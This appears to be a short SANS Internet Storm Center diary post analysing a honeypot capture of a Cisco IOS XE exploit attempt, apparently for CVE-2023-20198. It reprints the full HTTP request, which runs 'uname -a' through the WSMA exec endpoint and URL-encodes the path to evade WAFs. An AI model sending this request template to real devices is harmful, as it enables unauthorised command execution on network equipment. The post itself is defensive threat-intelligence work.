This morning, I was browsing our honeypot data for any new and existing PHP exploit attempts. Instead, I first ran into some GeoServer exploits, but found them to be too boring to write up. This Cisco IOS exploit attempt was a bit more interesting. Still nothing new. I suspect this is for CVE-2023-20198.

POST /%77ebui_wsma_https HTTP/1.1
Host: [redacted]:8000
User-Agent: RootEvidence/1.0
Content-Length: 720
Connection: close
Content-Type: text/xml; charset=UTF-8
Opt-Out-Email: re-abuse@rootevidence.com
Opt-Out-Url: https://www.rootevidence.com/scanners
Accept-Encoding: gzip

<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>uname -a</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>

I highlighted the actual command (uname -a) above. But also interesting is the use of a "Opt-Out-Email" and "Opt-Out-Url" header. Rootevidence is yet another exposure/vulnerability management Platform. I couldn't find a standard that suggests them, and I think it is the first time I've seen them. Rootevidence has been using them since December last year, but this is the first time I noticed them.

Oh, and they are doing URL encoding for the "w" in the URL. I bet there are some stupid WAFs that fall for that.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|